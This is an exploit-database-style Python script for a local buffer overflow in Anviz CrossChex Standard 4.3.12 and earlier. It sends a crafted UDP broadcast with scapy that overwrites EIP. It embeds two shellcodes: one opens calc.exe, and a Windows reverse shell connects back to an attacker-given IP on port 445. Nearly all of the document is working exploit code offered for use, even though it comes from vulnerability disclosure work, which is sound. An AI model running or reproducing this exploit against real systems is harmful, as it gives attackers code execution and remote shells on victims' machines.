Anviz CrossChex 4.3.12 – Local Buffer Overflow
# Exploit Title: Anviz CrossChex 4.3.12 - Local Buffer Overflow # Date: 2019-11-30 # Exploit Author: Luis Catarino & Pedro Rodrigues # Vendor Homepage: https://www.anviz.com/ # Software Link: https://www.anviz.com/download.html # Version: Crosschex Standard x86 <= V4.3.12 # Tested on: 4.3.8.0, 4.3.12 # CVE : N/A # More info: https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html import socket import time import sys import binascii # Scapy for the broadcast packet with custom sport from scapy.all import Raw,IP,Dot1Q,UDP,Ether import scapy.all # shellcode working calc.exe calculator_payload = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" calculator_payload += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" calculator_payload += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" calculator_payload += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" calculator_payload += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" calculator_payload += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" calculator_payload += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" calculator_payload += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" calculator_payload += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" calculator_payload += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" calculator_payload += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" calculator_payload += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" calculator_payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" calculator_payload += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" calculator_payload += b"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" # shellcode windows x86 reverse_shell shell_payload_1 = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shell_payload_1 += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shell_payload_1 += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shell_payload_1 += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shell_payload_1 += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shell_payload_1 += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shell_payload_1 += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shell_payload_1 += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shell_payload_1 += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shell_payload_1 += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shell_payload_1 += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shell_payload_1 += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" shell_payload_1 += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" shell_payload_1 += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" shell_payload_1 += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68" # shellcode windows x86 reverse_shell (part_2) shell_payload_2 = b"\x68\x02\x00\x01\xbd\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" shell_payload_2 += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" shell_payload_2 += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89" shell_payload_2 += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66" shell_payload_2 += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44" shell_payload_2 += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68" shell_payload_2 += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shell_payload_2 += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68" shell_payload_2 += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0" shell_payload_2 += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" def ipToShellcode(ip): a = ip.split('.') b = hex(int(a[0])) + hex(int(a[1])) + hex(int(a[2])) + hex(int(a[3])) b = b.replace("0x","") return binascii.unhexlify(b) # sport has to be 5060 def sendFuzzingUDPBroadcast(ip="255.255.255.255", sport=5050, dport=5060): request = b"A"*77 # Original payload substitute request += b"B"*184 request += b"\x07\x18\x42\x00" # EIP - 00421807 crosscheck_standard.exe request += b"A"*4 # 269 bytes if len(sys.argv) > 2: request = request + shell_payload_1 + ipToShellcode(sys.argv[2]) + shell_payload_2 else: request = request + calculator_payload scapy.all.sendp( Ether(src='00:00:00:00:00:00', dst="ff:ff:ff:ff:ff:ff")/IP(src=ip,dst='255.255.255.255')/UDP(sport=sport,dport=dport)/Raw(load=request), iface=sys.argv[1] ) def setFuzzUDPServer(ip='', port=5050, timeout=150): try : s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print('[!] Failed to create server socket') try: s.bind(('', port)) except: print('[*] Server socket bind failed') sys.exit() print('[*] Waiting for crosschex') s.settimeout(timeout) timeout = time.time() + timeout responses = [] while True: if time.time() > timeout: break try: response = s.recvfrom(1024) print(response) responses.append(response) sendFuzzingUDPBroadcast(ip=ip) response = s.recvfrom(1024) except socket.timeout: print("[!] Error with UDP server") s.close() return responses nargs = len(sys.argv) if nargs < 2: print("[*] Usage: python3 %s <network_interface> [<ip>]\n\tif you don't pass the ip of the LHOST it will drop a calculator, if you set the ip it will send a reverse shell to port 445") sys.exit(0) setFuzzUDPServer() |